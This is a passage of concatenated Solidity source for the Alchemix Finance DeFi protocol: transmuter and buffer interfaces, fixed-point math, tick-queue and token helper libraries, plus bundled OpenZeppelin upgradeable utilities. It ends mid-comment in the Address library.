function disabled() external view returns (bool);
/// @dev Adds an contract to the whitelist.
///
/// @param caller The address to add to the whitelist.
function add(address caller) external;
/// @dev Adds a contract to the whitelist.
///
/// @param caller The address to remove from the whitelist.
function remove(address caller) external;
/// @dev Disables the whitelist of the target whitelisted contract.
///
/// This can only occur once. Once the whitelist is disabled, then it cannot be reenabled.
function disable() external;
/// @dev Checks that the `msg.sender` is whitelisted when it is not an EOA.
///
/// @param account The account to check.
///
/// @return whitelisted A flag denoting if the given account is whitelisted.
function isWhitelisted(address account) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0;
/// @title ITransmuterV2
/// @author Alchemix Finance
interface ITransmuterV2 {
/// @notice Emitted when the admin address is updated.
///
/// @param admin The new admin address.
event AdminUpdated(address admin);
/// @notice Emitted when the pending admin address is updated.
///
/// @param pendingAdmin The new pending admin address.
event PendingAdminUpdated(address pendingAdmin);
/// @notice Emitted when the system is paused or unpaused.
///
/// @param flag `true` if the system has been paused, `false` otherwise.
event Paused(bool flag);
/// @dev Emitted when a deposit is performed.
///
/// @param sender The address of the depositor.
/// @param owner The address of the account that received the deposit.
/// @param amount The amount of tokens deposited.
event Deposit(
address indexed sender,
address indexed owner,
uint256 amount
);
/// @dev Emitted when a withdraw is performed.
///
/// @param sender The address of the `msg.sender` executing the withdraw.
/// @param recipient The address of the account that received the withdrawn tokens.
/// @param amount The amount of tokens withdrawn.
event Withdraw(
address indexed sender,
address indexed recipient,
uint256 amount
);
/// @dev Emitted when a claim is performed.
///
/// @param sender The address of the claimer / account owner.
/// @param recipient The address of the account that received the claimed tokens.
/// @param amount The amount of tokens claimed.
event Claim(
address indexed sender,
address indexed recipient,
uint256 amount
);
/// @dev Emitted when an exchange is performed.
///
/// @param sender The address that called `exchange()`.
/// @param amount The amount of tokens exchanged.
event Exchange(
address indexed sender,
uint256 amount
);
/// @notice Gets the version.
///
/// @return The version.
function version() external view returns (string memory);
/// @dev Gets the supported underlying token.
///
/// @return The underlying token.
function underlyingToken() external view returns (address);
/// @notice Gets the address of the whitelist contract.
///
/// @return whitelist The address of the whitelist contract.
function whitelist() external view returns (address whitelist);
/// @dev Gets the unexchanged balance of an account.
///
/// @param owner The address of the account owner.
///
/// @return The unexchanged balance.
function getUnexchangedBalance(address owner) external view returns (uint256);
/// @dev Gets the exchanged balance of an account, in units of `debtToken`.
///
/// @param owner The address of the account owner.
///
/// @return The exchanged balance.
function getExchangedBalance(address owner) external view returns (uint256);
/// @dev Gets the claimable balance of an account, in units of `underlyingToken`.
///
/// @param owner The address of the account owner.
///
/// @return The claimable balance.
function getClaimableBalance(address owner) external view returns (uint256);
/// @dev The conversion factor used to convert between underlying token amounts and debt token amounts.
///
/// @return The coversion factor.
function conversionFactor() external view returns (uint256);
/// @dev Deposits tokens to be exchanged into an account.
///
/// @param amount The amount of tokens to deposit.
/// @param owner The owner of the account to deposit the tokens into.
function deposit(uint256 amount, address owner) external;
/// @dev Withdraws tokens from the caller's account that were previously deposited to be exchanged.
///
/// @param amount The amount of tokens to withdraw.
/// @param recipient The address which will receive the withdrawn tokens.
function withdraw(uint256 amount, address recipient) external;
/// @dev Claims exchanged tokens.
///
/// @param amount The amount of tokens to claim.
/// @param recipient The address which will receive the claimed tokens.
function claim(uint256 amount, address recipient) external;
/// @dev Exchanges `amount` underlying tokens for `amount` synthetic tokens staked in the system.
///
/// @param amount The amount of tokens to exchange.
function exchange(uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.5.0;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "./ITransmuterV2.sol";
import "../IAlchemistV2.sol";
import "../IERC20TokenReceiver.sol";
/// @title ITransmuterBuffer
/// @author Alchemix Finance
interface ITransmuterBuffer is IERC20TokenReceiver {
/// @notice Parameters used to define a given weighting schema.
///
/// Weighting schemas can be used to generally weight assets in relation to an action or actions that will be taken.
/// In the TransmuterBuffer, there are 2 actions that require weighting schemas: `burnCredit` and `depositFunds`.
///
/// `burnCredit` uses a weighting schema that determines which yield-tokens are targeted when burning credit from
/// the `Account` controlled by the TransmuterBuffer, via the `Alchemist.donate` function.
///
/// `depositFunds` uses a weighting schema that determines which yield-tokens are targeted when depositing
/// underlying-tokens into the Alchemist.
struct Weighting {
// The weights of the tokens used by the schema.
mapping(address => uint256) weights;
// The tokens used by the schema.
address[] tokens;
// The total weight of the schema (sum of the token weights).
uint256 totalWeight;
}
/// @notice Emitted when the alchemist is set.
///
/// @param alchemist The address of the alchemist.
event SetAlchemist(address alchemist);
/// @notice Emitted when an underlying token is registered.
///
/// @param underlyingToken The address of the underlying token.
/// @param transmuter The address of the transmuter for the underlying token.
event RegisterAsset(address underlyingToken, address transmuter);
/// @notice Emitted when an underlying token's flow rate is updated.
///
/// @param underlyingToken The underlying token.
/// @param flowRate The flow rate for the underlying token.
event SetFlowRate(address underlyingToken, uint256 flowRate);
/// @notice Emitted when the strategies are refreshed.
event RefreshStrategies();
/// @notice Emitted when a source is set.
event SetSource(address source, bool flag);
/// @notice Emitted when a transmuter is updated.
event SetTransmuter(address underlyingToken, address transmuter);
/// @notice Gets the current version.
///
/// @return The version.
function version() external view returns (string memory);
/// @notice Gets the total credit held by the TransmuterBuffer.
///
/// @return The total credit.
function getTotalCredit() external view returns (uint256);
/// @notice Gets the total amount of underlying token that the TransmuterBuffer controls in the Alchemist.
///
/// @param underlyingToken The underlying token to query.
///
/// @return totalBuffered The total buffered.
function getTotalUnderlyingBuffered(address underlyingToken) external view returns (uint256 totalBuffered);
/// @notice Gets the total available flow for the underlying token
///
/// The total available flow will be the lesser of `flowAvailable[token]` and `getTotalUnderlyingBuffered`.
///
/// @param underlyingToken The underlying token to query.
///
/// @return availableFlow The available flow.
function getAvailableFlow(address underlyingToken) external view returns (uint256 availableFlow);
/// @notice Gets the weight of the given weight type and token
///
/// @param weightToken The type of weight to query.
/// @param token The weighted token.
///
/// @return weight The weight of the token for the given weight type.
function getWeight(address weightToken, address token) external view returns (uint256 weight);
/// @notice Set a source of funds.
///
/// @param source The target source.
/// @param flag The status to set for the target source.
function setSource(address source, bool flag) external;
/// @notice Set transmuter by admin.
///
/// This function reverts if the caller is not the current admin.
///
/// @param underlyingToken The target underlying token to update.
/// @param newTransmuter The new transmuter for the target `underlyingToken`.
function setTransmuter(address underlyingToken, address newTransmuter) external;
/// @notice Set alchemist by admin.
///
/// This function reverts if the caller is not the current admin.
///
/// @param alchemist The new alchemist whose funds we are handling.
function setAlchemist(address alchemist) external;
/// @notice Refresh the yield-tokens in the TransmuterBuffer.
///
/// This requires a call anytime governance adds a new yield token to the alchemist.
function refreshStrategies() external;
/// @notice Registers an underlying-token.
///
/// This function reverts if the caller is not the current admin.
///
/// @param underlyingToken The underlying-token being registered.
/// @param transmuter The transmuter for the underlying-token.
function registerAsset(address underlyingToken, address transmuter) external;
/// @notice Set flow rate of an underlying token.
///
/// This function reverts if the caller is not the current admin.
///
/// @param underlyingToken The underlying-token getting the flow rate set.
/// @param flowRate The new flow rate.
function setFlowRate(address underlyingToken, uint256 flowRate) external;
/// @notice Sets up a weighting schema.
///
/// @param weightToken The name of the weighting schema.
/// @param tokens The yield-tokens to weight.
/// @param weights The weights of the yield tokens.
function setWeights(address weightToken, address[] memory tokens, uint256[] memory weights) external;
/// @notice Exchanges any available flow into the Transmuter.
///
/// This function is a way for the keeper to force funds to be exchanged into the Transmuter.
///
/// This function will revert if called by any account that is not a keeper. If there is not enough local balance of
/// `underlyingToken` held by the TransmuterBuffer any additional funds will be withdrawn from the Alchemist by
/// unwrapping `yieldToken`.
///
/// @param underlyingToken The address of the underlying token to exchange.
function exchange(address underlyingToken) external;
/// @notice Burns available credit in the alchemist.
function burnCredit() external;
/// @notice Deposits local collateral into the alchemist
///
/// @param underlyingToken The collateral to deposit.
/// @param amount The amount to deposit.
function depositFunds(address underlyingToken, uint256 amount) external;
/// @notice Withdraws collateral from the alchemist
///
/// This function reverts if:
/// - The caller is not the transmuter.
/// - There is not enough flow available to fulfill the request.
/// - There is not enough underlying collateral in the alchemist controlled by the buffer to fulfil the request.
///
/// @param underlyingToken The underlying token to withdraw.
/// @param amount The amount to withdraw.
/// @param recipient The account receiving the withdrawn funds.
function withdraw(
address underlyingToken,
uint256 amount,
address recipient
) external;
/// @notice Withdraws collateral from the alchemist
///
/// @param yieldToken The yield token to withdraw.
/// @param shares The amount of Alchemist shares to withdraw.
/// @param minimumAmountOut The minimum amount of underlying tokens needed to be recieved as a result of unwrapping the yield tokens.
function withdrawFromAlchemist(
address yieldToken,
uint256 shares,
uint256 minimumAmountOut
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.11;
/**
* @notice A library which implements fixed point decimal math.
*/
library FixedPointMath {
/** @dev This will give approximately 60 bits of precision */
uint256 public constant DECIMALS = 18;
uint256 public constant ONE = 10**DECIMALS;
/**
* @notice A struct representing a fixed point decimal.
*/
struct Number {
uint256 n;
}
/**
* @notice Encodes a unsigned 256-bit integer into a fixed point decimal.
*
* @param value The value to encode.
* @return The fixed point decimal representation.
*/
function encode(uint256 value) internal pure returns (Number memory) {
return Number(FixedPointMath.encodeRaw(value));
}
/**
* @notice Encodes a unsigned 256-bit integer into a uint256 representation of a
* fixed point decimal.
*
* @param value The value to encode.
* @return The fixed point decimal representation.
*/
function encodeRaw(uint256 value) internal pure returns (uint256) {
return value * ONE;
}
/**
* @notice Encodes a uint256 MAX VALUE into a uint256 representation of a
* fixed point decimal.
*
* @return The uint256 MAX VALUE fixed point decimal representation.
*/
function max() internal pure returns (Number memory) {
return Number(type(uint256).max);
}
/**
* @notice Creates a rational fraction as a Number from 2 uint256 values
*
* @param n The numerator.
* @param d The denominator.
* @return The fixed point decimal representation.
*/
function rational(uint256 n, uint256 d) internal pure returns (Number memory) {
Number memory numerator = encode(n);
return FixedPointMath.div(numerator, d);
}
/**
* @notice Adds two fixed point decimal numbers together.
*
* @param self The left hand operand.
* @param value The right hand operand.
* @return The result.
*/
function add(Number memory self, Number memory value) internal pure returns (Number memory) {
return Number(self.n + value.n);
}
/**
* @notice Adds a fixed point number to a unsigned 256-bit integer.
*
* @param self The left hand operand.
* @param value The right hand operand. This will be converted to a fixed point decimal.
* @return The result.
*/
function add(Number memory self, uint256 value) internal pure returns (Number memory) {
return add(self, FixedPointMath.encode(value));
}
/**
* @notice Subtract a fixed point decimal from another.
*
* @param self The left hand operand.
* @param value The right hand operand.
* @return The result.
*/
function sub(Number memory self, Number memory value) internal pure returns (Number memory) {
return Number(self.n - value.n);
}
/**
* @notice Subtract a unsigned 256-bit integer from a fixed point decimal.
*
* @param self The left hand operand.
* @param value The right hand operand. This will be converted to a fixed point decimal.
* @return The result.
*/
function sub(Number memory self, uint256 value) internal pure returns (Number memory) {
return sub(self, FixedPointMath.encode(value));
}
/**
* @notice Multiplies a fixed point decimal by another fixed point decimal.
*
* @param self The fixed point decimal to multiply.
* @param number The fixed point decimal to multiply by.
* @return The result.
*/
function mul(Number memory self, Number memory number) internal pure returns (Number memory) {
return Number((self.n * number.n) / ONE);
}
/**
* @notice Multiplies a fixed point decimal by an unsigned 256-bit integer.
*
* @param self The fixed point decimal to multiply.
* @param value The unsigned 256-bit integer to multiply by.
* @return The result.
*/
function mul(Number memory self, uint256 value) internal pure returns (Number memory) {
return Number(self.n * value);
}
/**
* @notice Divides a fixed point decimal by an unsigned 256-bit integer.
*
* @param self The fixed point decimal to multiply by.
* @param value The unsigned 256-bit integer to divide by.
* @return The result.
*/
function div(Number memory self, uint256 value) internal pure returns (Number memory) {
return Number(self.n / value);
}
/**
* @notice Compares two fixed point decimals.
*
* @param self The left hand number to compare.
* @param value The right hand number to compare.
* @return When the left hand number is less than the right hand number this returns -1,
* when the left hand number is greater than the right hand number this returns 1,
* when they are equal this returns 0.
*/
function cmp(Number memory self, Number memory value) internal pure returns (int256) {
if (self.n < value.n) {
return -1;
}
if (self.n > value.n) {
return 1;
}
return 0;
}
/**
* @notice Gets if two fixed point numbers are equal.
*
* @param self the first fixed point number.
* @param value the second fixed point number.
*
* @return if they are equal.
*/
function equals(Number memory self, Number memory value) internal pure returns (bool) {
return self.n == value.n;
}
/**
* @notice Truncates a fixed point decimal into an unsigned 256-bit integer.
*
* @return The integer portion of the fixed point decimal.
*/
function truncate(Number memory self) internal pure returns (uint256) {
return self.n / ONE;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.5.0;
import { IllegalArgument } from "../base/Errors.sol";
import { FixedPointMath } from "./FixedPointMath.sol";
/// @title LiquidityMath
/// @author Alchemix Finance
library LiquidityMath {
using FixedPointMath for FixedPointMath.Number;
/// @dev Adds a signed delta to an unsigned integer.
///
/// @param x The unsigned value to add the delta to.
/// @param y The signed delta value to add.
/// @return z The result.
function addDelta(uint256 x, int256 y) internal pure returns (uint256 z) {
if (y < 0) {
if ((z = x - uint256(-y)) >= x) {
revert IllegalArgument();
}
} else {
if ((z = x + uint256(y)) < x) {
revert IllegalArgument();
}
}
}
/// @dev Calculate a uint256 representation of x * y using FixedPointMath
///
/// @param x The first factor
/// @param y The second factor (fixed point)
/// @return z The resulting product, after truncation
function calculateProduct(uint256 x, FixedPointMath.Number memory y) internal pure returns (uint256 z) {
z = y.mul(x).truncate();
}
/// @notice normalises non 18 digit token values to 18 digits.
function normalizeValue(uint256 input, uint256 decimals) internal pure returns (uint256) {
return (input * (10**18)) / (10**decimals);
}
/// @notice denormalizes 18 digits back to a token's digits
function deNormalizeValue(uint256 input, uint256 decimals) internal pure returns (uint256) {
return (input * (10**decimals)) / (10**18);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import {IllegalArgument} from "../base/Errors.sol";
/// @title Safe casting methods
/// @notice Contains methods for safely casting between types
library SafeCast {
/// @notice Cast a uint256 to a int256, revert on overflow
/// @param y The uint256 to be casted
/// @return z The casted integer, now type int256
function toInt256(uint256 y) internal pure returns (int256 z) {
if (y >= 2**255) {
revert IllegalArgument();
}
z = int256(y);
}
/// @notice Cast a int256 to a uint256, revert on underflow
/// @param y The int256 to be casted
/// @return z The casted integer, now type uint256
function toUint256(int256 y) internal pure returns (uint256 z) {
if (y < 0) {
revert IllegalArgument();
}
z = uint256(y);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.5.0;
import {FixedPointMath} from "./FixedPointMath.sol";
library Tick {
using FixedPointMath for FixedPointMath.Number;
struct Info {
// The total number of unexchanged tokens that have been associated with this tick
uint256 totalBalance;
// The accumulated weight of the tick which is the sum of the previous ticks accumulated weight plus the weight
// that added at the time that this tick was created
FixedPointMath.Number accumulatedWeight;
// The previous active node. When this value is zero then there is no predecessor
uint256 prev;
// The next active node. When this value is zero then there is no successor
uint256 next;
}
struct Cache {
// The mapping which specifies the ticks in the buffer
mapping(uint256 => Info) values;
// The current tick which is being written to
uint256 position;
// The first tick which will be examined when iterating through the queue
uint256 head;
// The last tick which new nodes will be appended after
uint256 tail;
}
/// @dev Gets the next tick in the buffer.
///
/// This increments the position in the buffer.
///
/// @return The next tick.
function next(Tick.Cache storage self) internal returns (Tick.Info storage) {
self.position++;
return self.values[self.position];
}
/// @dev Gets the current tick being written to.
///
/// @return The current tick.
function current(Tick.Cache storage self) internal view returns (Tick.Info storage) {
return self.values[self.position];
}
/// @dev Gets the nth tick in the buffer.
///
/// @param self The reference to the buffer.
/// @param n The nth tick to get.
function get(Tick.Cache storage self, uint256 n) internal view returns (Tick.Info storage) {
return self.values[n];
}
function getWeight(
Tick.Cache storage self,
uint256 from,
uint256 to
) internal view returns (FixedPointMath.Number memory) {
Tick.Info storage startingTick = self.values[from];
Tick.Info storage endingTick = self.values[to];
FixedPointMath.Number memory startingAccumulatedWeight = startingTick.accumulatedWeight;
FixedPointMath.Number memory endingAccumulatedWeight = endingTick.accumulatedWeight;
return endingAccumulatedWeight.sub(startingAccumulatedWeight);
}
function addLast(Tick.Cache storage self, uint256 id) internal {
if (self.head == 0) {
self.head = self.tail = id;
return;
}
// Don't add the tick if it is already the tail. This has to occur after the check if the head
// is null since the tail may not be updated once the queue is made empty.
if (self.tail == id) {
return;
}
Tick.Info storage tick = self.values[id];
Tick.Info storage tail = self.values[self.tail];
tick.prev = self.tail;
tail.next = id;
self.tail = id;
}
function remove(Tick.Cache storage self, uint256 id) internal {
Tick.Info storage tick = self.values[id];
// Update the head if it is the tick we are removing.
if (self.head == id) {
self.head = tick.next;
}
// Update the tail if it is the tick we are removing.
if (self.tail == id) {
self.tail = tick.prev;
}
// Unlink the previously occupied tick from the next tick in the list.
if (tick.prev != 0) {
self.values[tick.prev].next = tick.next;
}
// Unlink the previously occupied tick from the next tick in the list.
if (tick.next != 0) {
self.values[tick.next].prev = tick.prev;
}
// Zero out the pointers.
// NOTE(nomad): This fixes the bug where the current accrued weight would get erased.
self.values[id].next = 0;
self.values[id].prev = 0;
}
}
pragma solidity ^0.8.11;
import "../interfaces/IERC20Burnable.sol";
import "../interfaces/IERC20Metadata.sol";
import "../interfaces/IERC20Minimal.sol";
import "../interfaces/IERC20Mintable.sol";
/// @title TokenUtils
/// @author Alchemix Finance
library TokenUtils {
/// @notice An error used to indicate that a call to an ERC20 contract failed.
///
/// @param target The target address.
/// @param success If the call to the token was a success.
/// @param data The resulting data from the call. This is error data when the call was not a success. Otherwise,
/// this is malformed data when the call was a success.
error ERC20CallFailed(address target, bool success, bytes data);
/// @dev A safe function to get the decimals of an ERC20 token.
///
/// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an unexpected value.
///
/// @param token The target token.
///
/// @return The amount of decimals of the token.
function expectDecimals(address token) internal view returns (uint8) {
(bool success, bytes memory data) = token.staticcall(
abi.encodeWithSelector(IERC20Metadata.decimals.selector)
);
if (!success || data.length < 32) {
revert ERC20CallFailed(token, success, data);
}
return abi.decode(data, (uint8));
}
/// @dev Gets the balance of tokens held by an account.
///
/// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an unexpected value.
///
/// @param token The token to check the balance of.
/// @param account The address of the token holder.
///
/// @return The balance of the tokens held by an account.
function safeBalanceOf(address token, address account) internal view returns (uint256) {
(bool success, bytes memory data) = token.staticcall(
abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, account)
);
if (!success || data.length < 32) {
revert ERC20CallFailed(token, success, data);
}
return abi.decode(data, (uint256));
}
/// @dev Transfers tokens to another address.
///
/// @dev Reverts with a {CallFailed} error if execution of the transfer failed or returns an unexpected value.
///
/// @param token The token to transfer.
/// @param recipient The address of the recipient.
/// @param amount The amount of tokens to transfer.
function safeTransfer(address token, address recipient, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Minimal.transfer.selector, recipient, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Approves tokens for the smart contract.
///
/// @dev Reverts with a {CallFailed} error if execution of the approval fails or returns an unexpected value.
///
/// @param token The token to approve.
/// @param spender The contract to spend the tokens.
/// @param value The amount of tokens to approve.
function safeApprove(address token, address spender, uint256 value) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Minimal.approve.selector, spender, value)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Transfer tokens from one address to another address.
///
/// @dev Reverts with a {CallFailed} error if execution of the transfer fails or returns an unexpected value.
///
/// @param token The token to transfer.
/// @param owner The address of the owner.
/// @param recipient The address of the recipient.
/// @param amount The amount of tokens to transfer.
function safeTransferFrom(address token, address owner, address recipient, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Minimal.transferFrom.selector, owner, recipient, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Mints tokens to an address.
///
/// @dev Reverts with a {CallFailed} error if execution of the mint fails or returns an unexpected value.
///
/// @param token The token to mint.
/// @param recipient The address of the recipient.
/// @param amount The amount of tokens to mint.
function safeMint(address token, address recipient, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Mintable.mint.selector, recipient, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Burns tokens.
///
/// Reverts with a `CallFailed` error if execution of the burn fails or returns an unexpected value.
///
/// @param token The token to burn.
/// @param amount The amount of tokens to burn.
function safeBurn(address token, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Burnable.burn.selector, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Burns tokens from its total supply.
///
/// @dev Reverts with a {CallFailed} error if execution of the burn fails or returns an unexpected value.
///
/// @param token The token to burn.
/// @param owner The owner of the tokens.
/// @param amount The amount of tokens to burn.
function safeBurnFrom(address token, address owner, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Burnable.burnFrom.selector, owner, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
